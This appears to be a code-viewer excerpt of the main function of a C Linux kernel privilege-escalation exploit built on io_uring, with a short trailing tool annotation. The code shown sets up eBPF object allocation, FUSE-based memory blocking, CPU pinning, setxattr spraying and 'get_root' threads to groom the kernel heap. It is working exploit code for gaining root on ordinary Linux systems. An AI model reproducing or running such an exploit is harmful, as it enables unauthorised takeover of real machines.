| 425 | } |
| 426 | |
| 427 | int main(int argc, char **argv, char **envp) |
| 428 | { |
| 429 | int lol_fd = -1; |
| 430 | cpu_set_t mask = {0}; |
| 431 | struct io_uring_params params = {0}; |
| 432 | struct io_uring_sqe* sqe = NULL; |
| 433 | struct io_uring_cqe* cqe = NULL; |
| 434 | // 0. initial |
| 435 | pthread_mutex_lock(&lock1); // block all sub-threads |
| 436 | pthread_mutex_lock(&lock2); |
| 437 | pthread_mutex_lock(&lock3); |
| 438 | pthread_mutex_lock(&lock4); |
| 439 | pthread_mutex_lock(&lock5); |
| 440 | |
| 441 | lol_fd = open("lol.txt", O_RDWR | O_CREAT, 0666); |
| 442 | if(lol_fd < 0) |
| 443 | { |
| 444 | printf("[-] failed to create setxattr file!\n"); |
| 445 | goto done; |
| 446 | } |
| 447 | printf("[+] set/getxattr file created\n"); |
| 448 | // 0-1. setup bpf - load eBPF program (in step 8, attach to this prog_fd to alloc sk_filter object) |
| 449 | if(0 != setup_bpf()) |
| 450 | { |
| 451 | printf("[-] failed to setup eBPF!\n"); |
| 452 | goto done; |
| 453 | } |
| 454 | printf("[+] bpf program loaded created\n"); |
| 455 | // 0-2. setup FUSE - mmap bloked address |
| 456 | fargs_evil[0] = argv[0]; |
| 457 | unshare_setup(getuid(), getgid()); // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! |
| 458 | if (0 != setup_fuse()) |
| 459 | { |
| 460 | printf("[-] failed to setup FUSE\n"); |
| 461 | goto done; |
| 462 | } |
| 463 | printf("[+] FUSE maps created\n"); |
| 464 | // 0-3. setup affinity |
| 465 | CPU_ZERO(&mask); |
| 466 | CPU_SET(1, &mask); |
| 467 | sched_setaffinity(0, sizeof(cpu_set_t), &mask); |
| 468 | // 0-4. trigger threads / get_root threads / setxattr & block threads |
| 469 | create_io_uring_threads(); |
| 470 | create_setxattr_threads(); |
| 471 | // 0-5. open /proc/self/maps - procmaps_fd: use uring to read |
| 472 | procmaps_fd = open("/proc/self/maps", O_RDONLY); |
| 473 | printf("[+] opened /proc/self/maps\n"); |
| 474 | if (0 > procmaps_fd) |
| 475 | { |
| 476 | printf("[-] failed to open /proc/self/maps!\n"); |
| 477 | goto done; |
| 478 | } |
| 479 | // 1. initialize io_uring |
| 480 | if (0 != io_uring_queue_init_params(2048, &ring, ¶ms)) // io_uring_queue_init_params() —— Initializes `io_uring` for use in your programs. SQ length - 2048 |
| 481 | { |
| 482 | printf("[-] failed to initialize io_uring!\n"); |
| 483 | goto done; |
| 484 | } |
nothing calls this directly
no test coverage detected